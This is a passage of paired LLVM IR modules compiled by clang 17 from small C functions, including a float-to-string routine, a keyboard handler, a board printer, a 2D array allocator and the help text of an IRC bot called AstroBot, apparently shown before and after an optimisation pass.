%89 = call i32 @strcat(ptr noundef %87, ptr noundef %88)
%90 = load ptr, ptr %4, align 8
%91 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%92 = load i64, ptr %9, align 8
%93 = getelementptr inbounds i8, ptr %91, i64 %92
%94 = call i32 @strcat(ptr noundef %90, ptr noundef %93)
%95 = load ptr, ptr %4, align 8
ret ptr %95
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1
declare i32 @itoa(i32 noundef, ptr noundef, i32 noundef) #2
declare i32 @strlen(ptr noundef) #2
declare i32 @strcat(ptr noundef, ptr noundef) #2
declare i32 @strncpy(ptr noundef, ptr noundef, i64 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp2oeu0wca.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [2 x i8] c".\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @ftoa(float noundef %0, ptr noundef %1) #0 {
%3 = alloca float, align 4
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca [12 x i8], align 1
%7 = alloca [12 x i8], align 1
%8 = alloca ptr, align 8
%9 = alloca i64, align 8
store float %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
call void @llvm.memset.p0.i64(ptr align 1 %7, i8 0, i64 12, i1 false)
store ptr @.str, ptr %8, align 8
%10 = load float, ptr %3, align 4
%11 = fcmp ogt float %10, 0.000000e+00
br i1 %11, label %12, label %15
12: ; preds = %2
%13 = load float, ptr %3, align 4
%14 = fadd float %13, 0x3F40624DE0000000
store float %14, ptr %3, align 4
br label %18
15: ; preds = %2
%16 = load float, ptr %3, align 4
%17 = fsub float %16, 0x3F40624DE0000000
store float %17, ptr %3, align 4
br label %18
18: ; preds = %15, %12
%19 = load float, ptr %3, align 4
%20 = fmul float %19, 1.000000e+03
%21 = fptosi float %20 to i32
store i32 %21, ptr %5, align 4
%22 = load i32, ptr %5, align 4
%23 = icmp sgt i32 %22, 0
br i1 %23, label %24, label %26
24: ; preds = %18
%25 = load i32, ptr %5, align 4
br label %29
26: ; preds = %18
%27 = load i32, ptr %5, align 4
%28 = sub nsw i32 0, %27
br label %29
29: ; preds = %26, %24
%30 = phi i32 [ %25, %24 ], [ %28, %26 ]
%31 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%32 = call i32 @itoa(i32 noundef %30, ptr noundef %31, i32 noundef 10)
%33 = load i32, ptr %5, align 4
%34 = icmp sge i32 %33, 0
br i1 %34, label %35, label %37
35: ; preds = %29
%36 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
store i8 32, ptr %36, align 1
br label %39
37: ; preds = %29
%38 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
store i8 45, ptr %38, align 1
br label %39
39: ; preds = %37, %35
%40 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%41 = call i32 @strlen(ptr noundef %40)
%42 = icmp eq i32 %41, 1
br i1 %42, label %43, label %50
43: ; preds = %39
%44 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 1
store i8 48, ptr %44, align 1
%45 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 2
store i8 48, ptr %45, align 1
%46 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 3
store i8 48, ptr %46, align 1
%47 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%48 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%49 = call i32 @strcat(ptr noundef %47, ptr noundef %48)
br label %75
50: ; preds = %39
%51 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%52 = call i32 @strlen(ptr noundef %51)
%53 = icmp eq i32 %52, 2
br i1 %53, label %54, label %60
54: ; preds = %50
%55 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 1
store i8 48, ptr %55, align 1
%56 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 2
store i8 48, ptr %56, align 1
%57 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%58 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%59 = call i32 @strcat(ptr noundef %57, ptr noundef %58)
br label %74
60: ; preds = %50
%61 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%62 = call i32 @strlen(ptr noundef %61)
%63 = icmp eq i32 %62, 3
br i1 %63, label %64, label %69
64: ; preds = %60
%65 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 1
store i8 48, ptr %65, align 1
%66 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%67 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%68 = call i32 @strcat(ptr noundef %66, ptr noundef %67)
br label %73
69: ; preds = %60
%70 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%71 = getelementptr inbounds [12 x i8], ptr %6, i64 0, i64 0
%72 = call i32 @strcat(ptr noundef %70, ptr noundef %71)
br label %73
73: ; preds = %69, %64
br label %74
74: ; preds = %73, %54
br label %75
75: ; preds = %74, %43
%76 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%77 = call i32 @strlen(ptr noundef %76)
%78 = sub nsw i32 %77, 3
%79 = sext i32 %78 to i64
store i64 %79, ptr %9, align 8
%80 = load ptr, ptr %4, align 8
%81 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%82 = load i64, ptr %9, align 8
%83 = call i32 @strncpy(ptr noundef %80, ptr noundef %81, i64 noundef %82)
%84 = load ptr, ptr %4, align 8
%85 = load i64, ptr %9, align 8
%86 = getelementptr inbounds i8, ptr %84, i64 %85
store i8 0, ptr %86, align 1
%87 = load ptr, ptr %4, align 8
%88 = load ptr, ptr %8, align 8
%89 = call i32 @strcat(ptr noundef %87, ptr noundef %88)
%90 = load ptr, ptr %4, align 8
%91 = getelementptr inbounds [12 x i8], ptr %7, i64 0, i64 0
%92 = load i64, ptr %9, align 8
%93 = getelementptr inbounds i8, ptr %91, i64 %92
%94 = call i32 @strcat(ptr noundef %90, ptr noundef %93)
%95 = load ptr, ptr %4, align 8
ret ptr %95
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1
declare i32 @itoa(i32 noundef, ptr noundef, i32 noundef) #2
declare i32 @strlen(ptr noundef) #2
declare i32 @strcat(ptr noundef, ptr noundef) #2
declare i32 @strncpy(ptr noundef, ptr noundef, i64 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpqxqdxqcc.c'
source_filename = "/tmp/tmpqxqdxqcc.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stdout = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @keyboard(i8 noundef zeroext %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = alloca i8, align 1
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store i8 %0, ptr %4, align 1
store i32 %1, ptr %5, align 4
store i32 %2, ptr %6, align 4
%7 = load i8, ptr %4, align 1
%8 = zext i8 %7 to i32
switch i32 %8, label %11 [
i32 27, label %9
]
9: ; preds = %3
%10 = call i32 (...) @all_done()
br label %15
11: ; preds = %3
%12 = call i32 @putchar(i8 noundef signext 7)
%13 = load i32, ptr @stdout, align 4
%14 = call i32 @fflush(i32 noundef %13)
br label %15
15: ; preds = %11, %9
ret void
}
declare i32 @all_done(...) #1
declare i32 @putchar(i8 noundef signext) #1
declare i32 @fflush(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpqxqdxqcc.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stdout = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @keyboard(i8 noundef zeroext %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = alloca i8, align 1
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store i8 %0, ptr %4, align 1
store i32 %1, ptr %5, align 4
store i32 %2, ptr %6, align 4
%7 = load i8, ptr %4, align 1
%8 = zext i8 %7 to i32
switch i32 %8, label %11 [
i32 27, label %9
]
9: ; preds = %3
%10 = call i32 (...) @all_done()
br label %15
11: ; preds = %3
%12 = call i32 @putchar(i8 noundef signext 7)
%13 = load i32, ptr @stdout, align 4
%14 = call i32 @fflush(i32 noundef %13)
br label %15
15: ; preds = %11, %9
ret void
}
declare i32 @all_done(...) #1
declare i32 @putchar(i8 noundef signext) #1
declare i32 @fflush(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp_uxh8i4e.c'
source_filename = "/tmp/tmp_uxh8i4e.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [76 x i8] c" | | | | | |\0A\00", align 1
@.str.1 = private unnamed_addr constant [79 x i8] c" | %c| | %c| | %c|\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @printBottomLines(i8 noundef signext %0, i8 noundef signext %1, i8 noundef signext %2) #0 {
%4 = alloca i8, align 1
%5 = alloca i8, align 1
%6 = alloca i8, align 1
store i8 %0, ptr %4, align 1
store i8 %1, ptr %5, align 1
store i8 %2, ptr %6, align 1
%7 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%8 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%9 = load i8, ptr %4, align 1
%10 = sext i8 %9 to i32
%11 = load i8, ptr %5, align 1
%12 = sext i8 %11 to i32
%13 = load i8, ptr %6, align 1
%14 = sext i8 %13 to i32
%15 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %10, i32 noundef %12, i32 noundef %14)
ret void
}
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp_uxh8i4e.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [76 x i8] c" | | | | | |\0A\00", align 1
@.str.1 = private unnamed_addr constant [79 x i8] c" | %c| | %c| | %c|\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @printBottomLines(i8 noundef signext %0, i8 noundef signext %1, i8 noundef signext %2) #0 {
%4 = alloca i8, align 1
%5 = alloca i8, align 1
%6 = alloca i8, align 1
store i8 %0, ptr %4, align 1
store i8 %1, ptr %5, align 1
store i8 %2, ptr %6, align 1
%7 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%8 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%9 = load i8, ptr %4, align 1
%10 = sext i8 %9 to i32
%11 = load i8, ptr %5, align 1
%12 = sext i8 %11 to i32
%13 = load i8, ptr %6, align 1
%14 = sext i8 %13 to i32
%15 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %10, i32 noundef %12, i32 noundef %14)
ret void
}
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpia6bi6f3.c'
source_filename = "/tmp/tmpia6bi6f3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @create_double_int(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%7 = load i32, ptr %3, align 4
%8 = sext i32 %7 to i64
%9 = mul i64 %8, 8
%10 = trunc i64 %9 to i32
%11 = call i64 @malloc(i32 noundef %10)
%12 = inttoptr i64 %11 to ptr
store ptr %12, ptr %6, align 8
store i32 0, ptr %5, align 4
br label %13
13: ; preds = %32, %2
%14 = load i32, ptr %5, align 4
%15 = load i32, ptr %3, align 4
%16 = icmp slt i32 %14, %15
br i1 %16, label %17, label %35
17: ; preds = %13
%18 = load ptr, ptr %4, align 8
%19 = load i32, ptr %5, align 4
%20 = sext i32 %19 to i64
%21 = getelementptr inbounds i32, ptr %18, i64 %20
%22 = load i32, ptr %21, align 4
%23 = sext i32 %22 to i64
%24 = mul i64 %23, 4
%25 = trunc i64 %24 to i32
%26 = call i64 @malloc(i32 noundef %25)
%27 = inttoptr i64 %26 to ptr
%28 = load ptr, ptr %6, align 8
%29 = load i32, ptr %5, align 4
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds ptr, ptr %28, i64 %30
store ptr %27, ptr %31, align 8
br label %32
32: ; preds = %17
%33 = load i32, ptr %5, align 4
%34 = add nsw i32 %33, 1
store i32 %34, ptr %5, align 4
br label %13, !llvm.loop !6
35: ; preds = %13
%36 = load ptr, ptr %6, align 8
ret ptr %36
}
declare i64 @malloc(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpia6bi6f3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @create_double_int(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%7 = load i32, ptr %3, align 4
%8 = sext i32 %7 to i64
%9 = mul i64 %8, 8
%10 = trunc i64 %9 to i32
%11 = call i64 @malloc(i32 noundef %10)
%12 = inttoptr i64 %11 to ptr
store ptr %12, ptr %6, align 8
store i32 0, ptr %5, align 4
%13 = load i32, ptr %5, align 4
%14 = load i32, ptr %3, align 4
%15 = icmp slt i32 %13, %14
br i1 %15, label %.lr.ph, label %37
.lr.ph: ; preds = %2
br label %16
16: ; preds = %.lr.ph, %31
%17 = load ptr, ptr %4, align 8
%18 = load i32, ptr %5, align 4
%19 = sext i32 %18 to i64
%20 = getelementptr inbounds i32, ptr %17, i64 %19
%21 = load i32, ptr %20, align 4
%22 = sext i32 %21 to i64
%23 = mul i64 %22, 4
%24 = trunc i64 %23 to i32
%25 = call i64 @malloc(i32 noundef %24)
%26 = inttoptr i64 %25 to ptr
%27 = load ptr, ptr %6, align 8
%28 = load i32, ptr %5, align 4
%29 = sext i32 %28 to i64
%30 = getelementptr inbounds ptr, ptr %27, i64 %29
store ptr %26, ptr %30, align 8
br label %31
31: ; preds = %16
%32 = load i32, ptr %5, align 4
%33 = add nsw i32 %32, 1
store i32 %33, ptr %5, align 4
%34 = load i32, ptr %5, align 4
%35 = load i32, ptr %3, align 4
%36 = icmp slt i32 %34, %35
br i1 %36, label %16, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %31
br label %37
37: ; preds = %._crit_edge, %2
%38 = load ptr, ptr %6, align 8
ret ptr %38
}
declare i64 @malloc(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpuiryyhwe.c'
source_filename = "/tmp/tmpuiryyhwe.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [28 x i8] c"Usage: %s [ arguments ] ...\00", align 1
@.str.1 = private unnamed_addr constant [9 x i8] c"astrobot\00", align 1
@.str.2 = private unnamed_addr constant [1 x i8] zeroinitializer, align 1
@.str.3 = private unnamed_addr constant [11 x i8] c"Arguments:\00", align 1
@.str.4 = private unnamed_addr constant [66 x i8] c" --nick <nick> Override the default nick on connection.\00", align 1
@.str.5 = private unnamed_addr constant [56 x i8] c" --user <username> Override the default username.\00", align 1
@.str.6 = private unnamed_addr constant [57 x i8] c" --realname <realname> Override the default real name.\00", align 1
@.str.7 = private unnamed_addr constant [71 x i8] c" --modeset <modes> Override the default modes set on connection.\00", align 1
@.str.8 = private unnamed_addr constant [77 x i8] c" --autojoin <channels> Override the default channels joined on connection.\00", align 1
@.str.9 = private unnamed_addr constant [54 x i8] c" --ipv4 Force use of IPv4 (default).\00", align 1
@.str.10 = private unnamed_addr constant [44 x i8] c" --ipv6 Force use of IPv6.\00", align 1
@.str.11 = private unnamed_addr constant [77 x i8] c" --address <ip> Connect to another IRC server using its IP address.\00", align 1
@.str.12 = private unnamed_addr constant [66 x i8] c" --port <port> Override the default port to connect to.\00", align 1
@.str.13 = private unnamed_addr constant [49 x i8] c" --conf <file> Set configuration file.\00", align 1
@.str.14 = private unnamed_addr constant [51 x i8] c" --quit <quitmsg> Set default quit message.\00", align 1
@.str.15 = private unnamed_addr constant [53 x i8] c" --help Display this help and exit.\00", align 1
@.str.16 = private unnamed_addr constant [63 x i8] c" --version Display the program version and exit.\00", align 1
@.str.17 = private unnamed_addr constant [27 x i8] c"AstroBot 0.1.31-AB217AUG25\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @ab_help(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = icmp eq ptr %3, null
br i1 %4, label %5, label %6
5: ; preds = %1
br label %8
6: ; preds = %1
%7 = load ptr, ptr %2, align 8
br label %8
8: ; preds = %6, %5
%9 = phi ptr [ @.str.1, %5 ], [ %7, %6 ]
%10 = call i32 @printf(ptr noundef @.str, ptr noundef %9)
%11 = call i32 @puts(ptr noundef @.str.2)
%12 = call i32 @puts(ptr noundef @.str.2)
%13 = call i32 @puts(ptr noundef @.str.3)
%14 = call i32 @puts(ptr noundef @.str.4)
%15 = call i32 @puts(ptr noundef @.str.5)
%16 = call i32 @puts(ptr noundef @.str.6)
%17 = call i32 @puts(ptr noundef @.str.7)
%18 = call i32 @puts(ptr noundef @.str.8)
%19 = call i32 @puts(ptr noundef @.str.9)
%20 = call i32 @puts(ptr noundef @.str.10)
%21 = call i32 @puts(ptr noundef @.str.11)
%22 = call i32 @puts(ptr noundef @.str.12)
%23 = call i32 @puts(ptr noundef @.str.13)
%24 = call i32 @puts(ptr noundef @.str.14)
%25 = call i32 @puts(ptr noundef @.str.15)
%26 = call i32 @puts(ptr noundef @.str.16)
%27 = call i32 @puts(ptr noundef @.str.2)
%28 = call i32 @puts(ptr noundef @.str.17)
ret void
}
declare i32 @printf(ptr noundef, ptr noundef) #1
declare i32 @puts(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpuiryyhwe.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [28 x i8] c"Usage: %s [ arguments ] ...\00", align 1
@.str.1 = private unnamed_addr constant [9 x i8] c"astrobot\00", align 1
@.str.2 = private unnamed_addr constant [1 x i8] zeroinitializer, align 1
@.str.3 = private unnamed_addr constant [11 x i8] c"Arguments:\00", align 1
@.str.4 = private unnamed_addr constant [66 x i8] c" --nick <nick> Override the default nick on connection.\00", align 1
@.str.5 = private unnamed_addr constant [56 x i8] c" --user <username> Override the default username.\00", align 1
@.str.6 = private unnamed_addr constant [57 x i8] c" --realname <realname> Override the default real name.\00", align 1
@.str.7 = private unnamed_addr constant [71 x i8] c" --modeset <modes> Override the default modes set on connection.\00", align 1
@.str.8 = private unnamed_addr constant [77 x i8] c" --autojoin <channels> Override the default channels joined on connection.\00", align 1
@.str.9 = private unnamed_addr constant [54 x i8] c" --ipv4 Force use of IPv4 (default).\00", align 1
@.str.10 = private unnamed_addr constant [44 x i8] c" --ipv6 Force use of IPv6.\00", align 1
@.str.11 = private unnamed_addr constant [77 x i8] c" --address <ip> Connect to another IRC server using its IP address.\00", align 1
@.str.12 = private unnamed_addr constant [66 x i8] c" --port <port> Override the default port to connect to.\00", align 1
@.str.13 = private unnamed_addr constant [49 x i8] c" --conf <file> Set configuration file.\00", align 1
@.str.14 = private unnamed_addr constant [51 x i8] c" --quit <quitmsg> Set default quit message.\00", align 1
@.str.15 = private unnamed_addr constant [53 x i8] c" --help Display this help and exit.\00", align 1
@.str.16 = private unnamed_addr constant [63 x i8] c" --version Display the program version and exit.\00", align 1
@.str.17 = private unnamed_addr constant [27 x i8] c"AstroBot 0.1.31-AB217AUG25\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @ab_help(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = icmp eq ptr %3, null
br i1 %4, label %5, label %6
5: ; preds = %1
br label %8
6: ; preds = %1
%7 = load ptr, ptr %2, align 8
br label %8
8: ; preds = %6, %5
%9 = phi ptr [ @.str.1, %5 ], [ %7, %6 ]
%10 = call i32 @printf(ptr noundef @.str, ptr noundef %9)
%11 = call i32 @puts(ptr noundef @.str.2)
%12 = call i32 @puts(ptr noundef @.str.2)
%13 = call i32 @puts(ptr noundef @.str.3)
